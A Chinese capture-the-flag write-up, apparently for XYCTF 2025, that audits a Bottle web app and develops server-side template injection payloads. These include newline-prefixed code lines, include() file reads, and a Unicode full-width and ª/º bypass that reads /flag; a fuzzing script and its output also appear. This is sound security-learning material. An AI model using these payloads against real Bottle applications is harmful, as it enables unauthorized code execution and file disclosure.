本文章附带TP(Thinking Process)!
黑盒查看网站不具有功能,需要审计代码
# 定义/attack路径的路由
@bottle.route('/attack')
def attack():
# 从请求的查询参数中获取payload
payload = bottle.request.query.get('payload')
# 检查payload是否存在,长度是否小于25,并且不包含open和\字符
if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
# 使用bottle的模板功能返回包含payload的问候语
return bottle.template('hello '+payload)
else:
# 如果条件不满足,返回400错误
bottle.abort(400, 'Invalid payload')
# 主程序入口
if __name__ == '__main__':
# 启动bottle服务器,监听所有IP地址,端口为5000
bottle.run(host='0.0.0.0', port=5000)
-
我需要尝试构造出小于25,并且不包含open和\字符的有效负载
-
或者找到一种方式绕过小于25的限制
我需要回忆一下bottle所用的模板引擎及语法
模板引擎允许您在模板中嵌入python代码的行或块。代码行以开头 %
代码块被 <%
和 %>
令牌:
% name = "Bob" # a line of python code
<p>Some plain text in between</p>
<%
# A block of python code
name = name.title().strip()
%>
<p>More plain text</p>
两个 %
以及 <%
只有当令牌是一行中的第一个非空白字符时,才能识别它们。
先尝尝试执行代码,添加换行符使得代码正常执行
%0a%print(1)
这成功了,但是题目无回显,直接运行短小的有效负载并不可能,我或许找到一种方式绕过小于25的限制
我们最大的有效负载长度为24,减去换行与百分号为22,我有办法使用22个字符执行命令吗
%0a%
执行系统命令至少需要
__import__("").system("")
可这已经超过了,有什么办法能干扰判断吗,payload如果是数组呢
- 我是否有可能逐字写入文件然后运行?
- 或者逐字写入变量内然后使用eval运行?
%0a%a=1
%0a%eval(a)
- a没有被长久存储,模板中是否有可持久存储的变量?
查看所有可调用的方法/变量
%0a%print(globals())
{
'_stdout': [
'hello\n'
],
'_printlist': <built-inmethodextendoflistobjectat0x773602c79340>,
'include': functools.partial(<boundmethodSimpleTemplate._includeof<bottle.SimpleTemplateobjectat0x773602e32fe0>>,
{
...
}),
'rebase': functools.partial(<boundmethodSimpleTemplate._rebaseof<bottle.SimpleTemplateobjectat0x773602e32fe0>>,
{
...
}),
'_rebase': None,
'_str': <functionSimpleTemplate.prepare.<locals>.<lambda>at0x773602c740d0>,
'_escape': <functionSimpleTemplate.prepare.<locals>.<lambda>at0x773602c74160>,
'get': <built-inmethodgetofdictobjectat0x773602c8c300>,
'setdefault': <built-inmethodsetdefaultofdictobjectat0x773602c8c300>,
'defined': <built-inmethod__contains__ofdictobjectat0x773602c8c300>,
'__builtins__': {
'__name__': 'builtins',
'__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.",
'__package__': '',
'__loader__': <class'_frozen_importlib.BuiltinImporter'>,
'__spec__': ModuleSpec(name='builtins',
loader=<class'_frozen_importlib.BuiltinImporter'>,
origin='built-in'),
'__build_class__': <built-infunction__build_class__>,
'__import__': <built-infunction__import__>,
'abs': <built-infunctionabs>,
'all': <built-infunctionall>,
'any': <built-infunctionany>,
'ascii': <built-infunctionascii>,
'bin': <built-infunctionbin>,
'breakpoint': <built-infunctionbreakpoint>,
'callable': <built-infunctioncallable>,
'chr': <built-infunctionchr>,
'compile': <built-infunctioncompile>,
'delattr': <built-infunctiondelattr>,
'dir': <built-infunctiondir>,
'divmod': <built-infunctiondivmod>,
'eval': <built-infunctioneval>,
'exec': <built-infunctionexec>,
'format': <built-infunctionformat>,
'getattr': <built-infunctiongetattr>,
'globals': <built-infunctionglobals>,
'hasattr': <built-infunctionhasattr>,
'hash': <built-infunctionhash>,
'hex': <built-infunctionhex>,
'id': <built-infunctionid>,
'input': <built-infunctioninput>,
'isinstance': <built-infunctionisinstance>,
'issubclass': <built-infunctionissubclass>,
'iter': <built-infunctioniter>,
'aiter': <built-infunctionaiter>,
'len': <built-infunctionlen>,
'locals': <built-infunctionlocals>,
'max': <built-infunctionmax>,
'min': <built-infunctionmin>,
'next': <built-infunctionnext>,
'anext': <built-infunctionanext>,
'oct': <built-infunctionoct>,
'ord': <built-infunctionord>,
'pow': <built-infunctionpow>,
'print': <built-infunctionprint>,
'repr': <built-infunctionrepr>,
'round': <built-infunctionround>,
'setattr': <built-infunctionsetattr>,
'sorted': <built-infunctionsorted>,
'sum': <built-infunctionsum>,
'vars': <built-infunctionvars>,
'None': None,
'Ellipsis': Ellipsis,
'NotImplemented': NotImplemented,
'False': False,
'True': True,
'bool': <class'bool'>,
'memoryview': <class'memoryview'>,
'bytearray': <class'bytearray'>,
'bytes': <class'bytes'>,
'classmethod': <class'classmethod'>,
'complex': <class'complex'>,
'dict': <class'dict'>,
'enumerate': <class'enumerate'>,
'filter': <class'filter'>,
'float': <class'float'>,
'frozenset': <class'frozenset'>,
'property': <class'property'>,
'int': <class'int'>,
'list': <class'list'>,
'map': <class'map'>,
'object': <class'object'>,
'range': <class'range'>,
'reversed': <class'reversed'>,
'set': <class'set'>,
'slice': <class'slice'>,
'staticmethod': <class'staticmethod'>,
'str': <class'str'>,
'super': <class'super'>,
'tuple': <class'tuple'>,
'type': <class'type'>,
'zip': <class'zip'>,
'__debug__': True,
'BaseException': <class'BaseException'>,
'Exception': <class'Exception'>,
'TypeError': <class'TypeError'>,
'StopAsyncIteration': <class'StopAsyncIteration'>,
'StopIteration': <class'StopIteration'>,
'GeneratorExit': <class'GeneratorExit'>,
'SystemExit': <class'SystemExit'>,
'KeyboardInterrupt': <class'KeyboardInterrupt'>,
'ImportError': <class'ImportError'>,
'ModuleNotFoundError': <class'ModuleNotFoundError'>,
'OSError': <class'OSError'>,
'EnvironmentError': <class'OSError'>,
'IOError': <class'OSError'>,
'EOFError': <class'EOFError'>,
'RuntimeError': <class'RuntimeError'>,
'RecursionError': <class'RecursionError'>,
'NotImplementedError': <class'NotImplementedError'>,
'NameError': <class'NameError'>,
'UnboundLocalError': <class'UnboundLocalError'>,
'AttributeError': <class'AttributeError'>,
'SyntaxError': <class'SyntaxError'>,
'IndentationError': <class'IndentationError'>,
'TabError': <class'TabError'>,
'LookupError': <class'LookupError'>,
'IndexError': <class'IndexError'>,
'KeyError': <class'KeyError'>,
'ValueError': <class'ValueError'>,
'UnicodeError': <class'UnicodeError'>,
'UnicodeEncodeError': <class'UnicodeEncodeError'>,
'UnicodeDecodeError': <class'UnicodeDecodeError'>,
'UnicodeTranslateError': <class'UnicodeTranslateError'>,
'AssertionError': <class'AssertionError'>,
'ArithmeticError': <class'ArithmeticError'>,
'FloatingPointError': <class'FloatingPointError'>,
'OverflowError': <class'OverflowError'>,
'ZeroDivisionError': <class'ZeroDivisionError'>,
'SystemError': <class'SystemError'>,
'ReferenceError': <class'ReferenceError'>,
'MemoryError': <class'MemoryError'>,
'BufferError': <class'BufferError'>,
'Warning': <class'Warning'>,
'UserWarning': <class'UserWarning'>,
'EncodingWarning': <class'EncodingWarning'>,
'DeprecationWarning': <class'DeprecationWarning'>,
'PendingDeprecationWarning': <class'PendingDeprecationWarning'>,
'SyntaxWarning': <class'SyntaxWarning'>,
'RuntimeWarning': <class'RuntimeWarning'>,
'FutureWarning': <class'FutureWarning'>,
'ImportWarning': <class'ImportWarning'>,
'UnicodeWarning': <class'UnicodeWarning'>,
'BytesWarning': <class'BytesWarning'>,
'ResourceWarning': <class'ResourceWarning'>,
'ConnectionError': <class'ConnectionError'>,
'BlockingIOError': <class'BlockingIOError'>,
'BrokenPipeError': <class'BrokenPipeError'>,
'ChildProcessError': <class'ChildProcessError'>,
'ConnectionAbortedError': <class'ConnectionAbortedError'>,
'ConnectionRefusedError': <class'ConnectionRefusedError'>,
'ConnectionResetError': <class'ConnectionResetError'>,
'FileExistsError': <class'FileExistsError'>,
'FileNotFoundError': <class'FileNotFoundError'>,
'IsADirectoryError': <class'IsADirectoryError'>,
'NotADirectoryError': <class'NotADirectoryError'>,
'InterruptedError': <class'InterruptedError'>,
'PermissionError': <class'PermissionError'>,
'ProcessLookupError': <class'ProcessLookupError'>,
'TimeoutError': <class'TimeoutError'>,
'open': <built-infunctionopen>,
'quit': Usequit()orCtrl-D(i.e.EOF)toexit,
'exit': Useexit()orCtrl-D(i.e.EOF)toexit,
'copyright': Copyright(c)2001-2023PythonSoftwareFoundation.
尝试发现这些变量都没有持久存储
我注意到我之前遗漏了文档中的一处语法
## 模板函数[¶](https://www.osgeo.cn/bottle/stpl.html#template-functions "永久链接至标题")
每个模板都预加载了一组函数,这些函数有助于处理最常见的用例。这些功能始终可用。你不必自己进口或提供。对于这里没有介绍的所有内容,可能都有好的python库可用。记住你可以 `import` 模板中的任何内容。毕竟它们是python程序。
在 0.12 版更改: 在此发布之前, [`include()`](https://www.osgeo.cn/bottle/stpl.html#stpl.include "stpl.include") 和 [`rebase()`](https://www.osgeo.cn/bottle/stpl.html#stpl.rebase "stpl.rebase") 是语法关键字,不是函数。
include(_sub_template_, _**variables_)[](https://www.osgeo.cn/bottle/stpl.html#stpl.include "永久链接至目标")
使用指定的变量呈现子模板,并将结果文本插入当前模板。函数返回一个字典,其中包含传递给子模板或在子模板中定义的局部变量:
% include('header.tpl', title='Page Title')
Page Content
% include('footer.tpl')
尝试
/attack?payload=%0a%include('app.py')
成功,服务器端代码与本地无任何差异,但是这似乎只能读取当前目录文件,读取绝对路径时会被禁止
%include('/flag')
DeprecationWarning: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path.
我该如何读取根目录的flag呢,我现应该分析库的代码来寻找现成的open并想办法调用
def template(*args, **kwargs):
"""
获取渲染后的模板字符串迭代器。
第一个参数可以是模板名称、文件名或模板字符串。
渲染模板时的参数可以通过字典传递,或者直接作为关键字参数传递。
"""
tpl = args[0] if args else None # 获取第一个参数作为模板(如果有传入参数的话)
# 遍历其它位置参数,更新关键字参数(kwargs)
for dictarg in args[1:]:
kwargs.update(dictarg)
# 获取模板适配器,默认为SimpleTemplate
adapter = kwargs.pop('template_adapter', SimpleTemplate)
# 获取模板查找路径,默认为TEMPLATE_PATH
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
# 使用模板查找路径和模板内容生成模板ID
tplid = (id(lookup), tpl)
# 如果模板未缓存或者处于调试模式,重新加载模板
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {}) # 获取模板设置(如果有)
# 如果tpl是适配器类型,则直接缓存该模板
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings:
TEMPLATES[tplid].prepare(**settings) # 如果有设置,调用prepare方法准备模板
# 如果tpl包含模板标记符(如换行符、{}、%等),认为它是一个模板字符串
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings) # 从字符串创建模板
# 否则,认为tpl是模板的文件名
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
# 如果模板未找到,则返回500错误
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
# 返回渲染后的模板
return TEMPLATES[tplid].render(kwargs)
# 创建不同模板适配器的部分模板函数
mako_template = functools.partial(template, template_adapter=MakoTemplate) # 使用Mako模板引擎
cheetah_template = functools.partial(template, template_adapter=CheetahTemplate) # 使用Cheetah模板引擎
jinja2_template = functools.partial(template, template_adapter=Jinja2Template) # 使用Jinja2模板引擎
class BaseTemplate(object):
""" 模板适配器的基类和最小API """
extensions = ['tpl', 'html', 'thtml', 'stpl'] # 支持的模板文件扩展名
settings = {} # 用于prepare()方法的设置
defaults = {} # 用于render()方法的默认值
def __init__(self,
source=None,
name=None,
lookup=None,
encoding='utf8', **settings):
""" 创建一个新模板。
如果缺少source参数(str或buffer),则使用name参数来猜测模板文件名。
子类可以假设self.source和/或self.filename已被设置。两者都是字符串。
lookup、encoding和settings参数被存储为实例变量。
lookup参数存储包含目录路径的列表。
encoding参数应用于解码字节字符串或文件。
settings参数包含引擎特定设置的字典。
"""
self.name = name # 模板名称
# 如果source有read方法,则读取其内容;否则直接使用source
self.source = source.read() if hasattr(source, 'read') else source
# 如果source有filename属性,则获取文件名;否则设为None
self.filename = source.filename if hasattr(source, 'filename') else None
# 将lookup中的路径转为绝对路径,如果lookup为空则设为空列表
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding # 编码方式
self.settings = self.settings.copy() # 从类变量复制设置
self.settings.update(settings) # 更新实例设置
# 如果没有source但有name,则搜索模板文件
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
# 如果既没有source也没有filename,则报错
if not self.source and not self.filename:
raise TemplateError('No template specified.')
self.prepare(**self.settings) # 调用准备方法
@classmethod
def search(cls, name, lookup=None):
""" 在所有lookup指定的目录中搜索name。
先搜索无扩展名的文件,再搜索带常见扩展名的文件。返回第一个匹配项。"""
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")
# 不允许使用绝对路径作为模板名
if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")
# 在lookup路径中搜索模板文件
for spath in lookup:
spath = os.path.abspath(spath) + os.sep
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue # 防止目录遍历攻击
if os.path.isfile(fname): return fname # 找到文件直接返回
# 尝试添加扩展名查找
for ext in cls.extensions:
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)
@classmethod
def global_config(cls, key, *args):
""" 读取或设置存储在class.settings中的全局设置。"""
if args:
cls.settings = cls.settings.copy() # 使设置对该类本地化
cls.settings[key] = args[0] # 设置新值
else:
return cls.settings[key] # 返回值
def prepare(self, **options):
""" 运行准备工作(解析、缓存等)。
应该可以再次调用此方法来刷新模板或更新设置。
"""
raise NotImplementedError # 需要子类实现
def render(self, *args, **kwargs):
""" 使用指定的局部变量渲染模板并返回单个字节或unicode字符串。
如果是字节字符串,编码必须匹配self.encoding。此方法必须是线程安全的!
局部变量可以通过字典(args)或直接作为关键字参数(kwargs)提供。
"""
raise NotImplementedError # 需要子类实现
class SimpleTemplate(BaseTemplate):
""" 简单的模板引擎实现 """
def prepare(self,
escape_func=html_escape, # 默认HTML转义函数
noescape=False, # 是否禁用转义
syntax=None, # 语法选项
**ka):
""" 模板预处理配置
Args:
escape_func: 转义函数,默认为HTML转义
noescape: 如果为True则禁用转义
syntax: 语法选项
"""
self.cache = {} # 模板缓存
enc = self.encoding
# 定义字符串转换和转义函数
self._str = lambda x: touni(x, enc) # 转换为unicode
self._escape = lambda x: escape_func(touni(x, enc)) # 转义后转unicode
self.syntax = syntax # 语法配置
if noescape:
# 如果禁用转义,交换两个函数
self._str, self._escape = self._escape, self._str
@cached_property
def co(self):
""" 编译后的代码对象(缓存属性) """
return compile(self.code, self.filename or '<string>', 'exec')
@cached_property
def code(self):
""" 生成可执行的Python代码(缓存属性) """
source = self.source
if not source:
# 如果没有source,从文件读取
with open(self.filename, 'rb') as f:
source = f.read()
try:
# 尝试转换为unicode
source, encoding = touni(source), 'utf8'
except UnicodeError:
raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.')
# 使用模板解析器转换模板代码为Python代码
parser = StplParser(source, encoding=encoding, syntax=self.syntax)
code = parser.translate() # 转换模板为Python代码
self.encoding = parser.encoding # 更新编码
return code
def _rebase(self, _env, _name=None, **kwargs):
""" 内部方法:处理模板继承 """
_env['_rebase'] = (_name, kwargs) # 存储继承信息和参数
def _include(self, _env, _name=None, **kwargs):
""" 内部方法:处理模板包含 """
env = _env.copy() # 复制环境变量
env.update(kwargs) # 更新包含的参数
if _name not in self.cache:
# 如果模板不在缓存中,创建新实例并缓存
self.cache[_name] = self.__class__(
name=_name,
lookup=self.lookup,
syntax=self.syntax
)
# 执行被包含的模板
return self.cache[_name].execute(env['_stdout'], env)
def execute(self, _stdout, kwargs):
""" 执行编译后的模板代码
Args:
_stdout: 输出缓冲区
kwargs: 模板变量
Returns:
如果有继承则返回继承模板的结果,否则返回环境变量
"""
# 初始化模板环境
env = self.defaults.copy() # 复制默认变量
env.update(kwargs) # 更新传入的变量
# 添加模板内置函数和变量
env.update({
'_stdout': _stdout, # 输出缓冲区
'_printlist': _stdout.extend, # 输出函数
'include': functools.partial(self._include, env), # 包含函数
'rebase': functools.partial(self._rebase, env), # 继承函数
'_rebase': None, # 继承标记
'_str': self._str, # 字符串转换
'_escape': self._escape, # 转义函数
'get': env.get, # 字典get方法
'setdefault': env.setdefault, # 字典setdefault方法
'defined': env.__contains__ # 变量存在检查
})
# 执行编译后的模板代码
exec(self.co, env)
# 处理模板继承
if env.get('_rebase'):
subtpl, rargs = env.pop('_rebase')
rargs['base'] = ''.join(_stdout) # 保存当前输出作为base
del _stdout[:] # 清空输出缓冲区
# 执行继承的模板
return self._include(env, subtpl, **rargs)
return env
def render(self, *args, **kwargs):
""" 渲染模板并使用关键字参数作为局部变量
Args:
*args: 字典形式的模板变量
**kwargs: 关键字形式的模板变量
Returns:
渲染后的字符串
"""
env = {} # 模板变量环境
stdout = [] # 输出缓冲区
# 合并所有模板变量
for dictarg in args:
env.update(dictarg)
env.update(kwargs)
# 执行模板
self.execute(stdout, env)
# 返回渲染结果
return ''.join(stdout)
这里有一个很奇怪的点
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
代码判断其是否为路径是靠判断是否存在特殊符号,此负载也会生效
/attack?payload=/../app.py
库对目录穿越的防护很完善,我无法再想到任何方式绕过,或许是原型污染?
我可以设置任何属性的值
%0a%include=1;print(globals())
但是其命名空间均是独立的,我没有办法在模板内污染外围变量
放弃 ------------------------------------------------------------------------------------------------------
赛后
XYCTF 2025 出题人wp LamentXU - LamentXU - 博客园
可以改导入库的属性… 学到了!
%0a%import os;os.a+="{i}"
part2 ----------------------------------------------------------------------------
聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园
bottle使用exec执行模板内嵌的python代码
def execute(self, _stdout, kwargs):
""" 执行编译后的模板代码
Args:
_stdout: 输出缓冲区
kwargs: 模板变量
Returns:
如果有继承则返回继承模板的结果,否则返回环境变量
"""
# 初始化模板环境
env = self.defaults.copy() # 复制默认变量
env.update(kwargs) # 更新传入的变量
# 添加模板内置函数和变量
env.update({
'_stdout': _stdout, # 输出缓冲区
'_printlist': _stdout.extend, # 输出函数
'include': functools.partial(self._include, env), # 包含函数
'rebase': functools.partial(self._rebase, env), # 继承函数
'_rebase': None, # 继承标记
'_str': self._str, # 字符串转换
'_escape': self._escape, # 转义函数
'get': env.get, # 字典get方法
'setdefault': env.setdefault, # 字典setdefault方法
'defined': env.__contains__ # 变量存在检查
})
# 执行编译后的模板代码
exec(self.co, env)
# 处理模板继承
if env.get('_rebase'):
subtpl, rargs = env.pop('_rebase')
rargs['base'] = ''.join(_stdout) # 保存当前输出作为base
del _stdout[:] # 清空输出缓冲区
# 执行继承的模板
return self._include(env, subtpl, **rargs)
return env
python的exec()会将一些特殊unicode解析为正常字符串,你可以在这里找到所有unicode
Unicode 16.0 字符代码表
你可以用任何全角英文字母以及其他被认为有字母属性的字符绕过waf。
def to_fullwidth(s):
"""
将字符串中的所有英文字符转换为全角字符。
参数:
s (str): 输入的字符串
返回:
str: 转换后的字符串,其中的英文字符被转换为全角字符
"""
result = []
for char in s:
code = ord(char)
# 将 0x21 (33) 到 0x7E (126) 的字符转换为全角
if 0x21 <= code <= 0x7E:
result.append(chr(code + 0xFEE0))
# 将空格字符转换为全角空格
elif code == 0x20:
result.append(chr(0x3000))
else:
result.append(char)
return ''.join(result)
input_str = "print"
output_str = to_fullwidth(input_str)
print(output_str)
exec('print(1)')
但是当不编码时传过去会成直接成大写,编码了后端又成这样,python解码后每个成了两个字符
"{{ï½\x8fï½\x90ï½\x85ï½\x8e('/flag').read())}}"
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2025/03/29 15:52:17
@Author : LamentXU
'''
import bottle
'''
flag in /flag
'''
@bottle.route('/')
def index():
return 'Hello, World!'
@bottle.route('/attack')
def attack():
payload = bottle.request.query.get('payload')
return payload
if __name__ == '__main__':
bottle.run(host='0.0.0.0', port=5000)
fuzz一手看看
from codes.WebAttack import *
from codes.WebSockteAttack import *
from codes.InjectTools import *
io = WebAttack("""
GET /attack?payload=%{$}{$} HTTP/1.1
Host: 127.0.0.1:5000
sec-ch-ua: "Not:A-Brand";v="24", "Chromium";v="134"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
""")
number = '01234567890abcdef'
number = list(number)
for i in number:
for f in number:
print(f'%{i}{f} -> ' + io.send([i,f]).text)
%00 ->
%01 ->
%02 ->
%03 ->
%04 ->
%05 ->
%06 ->
%07 ->
%08 ->
%09 ->
%00 ->
%0a ->
%0b ->
%0c ->
%0d ->
%0e ->
%0f ->
%10 ->
%11 ->
%12 ->
%13 ->
%14 ->
%15 ->
%16 ->
%17 ->
%18 ->
%19 ->
%10 ->
%1a ->
%1b ->
%1c ->
%1d ->
%1e ->
%1f ->
%20 ->
%21 -> !
%22 -> "
%23 -> #
%24 -> $
%25 -> %
%26 -> &
%27 -> '
%28 -> (
%29 -> )
%20 ->
%2a -> *
%2b -> +
%2c -> ,
%2d -> -
%2e -> .
%2f -> /
%30 -> 0
%31 -> 1
%32 -> 2
%33 -> 3
%34 -> 4
%35 -> 5
%36 -> 6
%37 -> 7
%38 -> 8
%39 -> 9
%30 -> 0
%3a -> :
%3b -> ;
%3c -> <
%3d -> =
%3e -> >
%3f -> ?
%40 -> @
%41 -> A
%42 -> B
%43 -> C
%44 -> D
%45 -> E
%46 -> F
%47 -> G
%48 -> H
%49 -> I
%40 -> @
%4a -> J
%4b -> K
%4c -> L
%4d -> M
%4e -> N
%4f -> O
%50 -> P
%51 -> Q
%52 -> R
%53 -> S
%54 -> T
%55 -> U
%56 -> V
%57 -> W
%58 -> X
%59 -> Y
%50 -> P
%5a -> Z
%5b -> [
%5c -> \
%5d -> ]
%5e -> ^
%5f -> _
%60 -> `
%61 -> a
%62 -> b
%63 -> c
%64 -> d
%65 -> e
%66 -> f
%67 -> g
%68 -> h
%69 -> i
%60 -> `
%6a -> j
%6b -> k
%6c -> l
%6d -> m
%6e -> n
%6f -> o
%70 -> p
%71 -> q
%72 -> r
%73 -> s
%74 -> t
%75 -> u
%76 -> v
%77 -> w
%78 -> x
%79 -> y
%70 -> p
%7a -> z
%7b -> {
%7c -> |
%7d -> }
%7e -> ~
%7f ->
%80 -> €
%81 ->
%82 -> ‚
%83 -> ƒ
%84 -> „
%85 ->
%86 -> †
%87 -> ‡
%88 -> ˆ
%89 -> ‰
%80 -> €
%8a -> Š
%8b -> ‹
%8c -> Œ
%8d ->
%8e -> Ž
%8f ->
%90 ->
%91 -> ‘
%92 -> ’
%93 -> “
%94 -> ”
%95 -> •
%96 -> –
%97 -> —
%98 -> ˜
%99 -> ™
%90 ->
%9a -> š
%9b -> ›
%9c -> œ
%9d ->
%9e -> ž
%9f -> Ÿ
%00 ->
%01 ->
%02 ->
%03 ->
%04 ->
%05 ->
%06 ->
%07 ->
%08 ->
%09 ->
%00 ->
%0a ->
%0b ->
%0c ->
%0d ->
%0e ->
%0f ->
%a0 ->
%a1 -> ¡
%a2 -> ¢
%a3 -> £
%a4 -> ¤
%a5 -> ¥
%a6 -> ¦
%a7 -> §
%a8 -> ¨
%a9 -> ©
%a0 ->
%aa -> ª
%ab -> «
%ac -> ¬
%ad ->
%ae -> ®
%af -> ¯
%b0 -> °
%b1 -> ±
%b2 -> ²
%b3 -> ³
%b4 -> ´
%b5 -> µ
%b6 -> ¶
%b7 -> ·
%b8 -> ¸
%b9 -> ¹
%b0 -> °
%ba -> º
%bb -> »
%bc -> ¼
%bd -> ½
%be -> ¾
%bf -> ¿
%c0 -> À
%c1 -> Á
%c2 -> Â
%c3 -> Ã
%c4 -> Ä
%c5 -> Å
%c6 -> Æ
%c7 -> Ç
%c8 -> È
%c9 -> É
%c0 -> À
%ca -> Ê
%cb -> Ë
%cc -> Ì
%cd -> Í
%ce -> Î
%cf -> Ï
%d0 -> Ð
%d1 -> Ñ
%d2 -> Ò
%d3 -> Ó
%d4 -> Ô
%d5 -> Õ
%d6 -> Ö
%d7 -> ×
%d8 -> Ø
%d9 -> Ù
%d0 -> Ð
%da -> Ú
%db -> Û
%dc -> Ü
%dd -> Ý
%de -> Þ
%df -> ß
%e0 -> à
%e1 -> á
%e2 -> â
%e3 -> ã
%e4 -> ä
%e5 -> å
%e6 -> æ
%e7 -> ç
%e8 -> è
%e9 -> é
%e0 -> à
%ea -> ê
%eb -> ë
%ec -> ì
%ed -> í
%ee -> î
%ef -> ï
%f0 -> ð
%f1 -> ñ
%f2 -> ò
%f3 -> ó
%f4 -> ô
%f5 -> õ
%f6 -> ö
%f7 -> ÷
%f8 -> ø
%f9 -> ù
%f0 -> ð
%fa -> ú
%fb -> û
%fc -> ü
%fd -> ý
%fe -> þ
%ff -> ÿ
根据师傅的文章
ª
(U+00AA),º
(U+00BA)执行的时候等效于字符a
,o
/attack?payload={{%BApen(%27/flag%27).re%aad()}}
end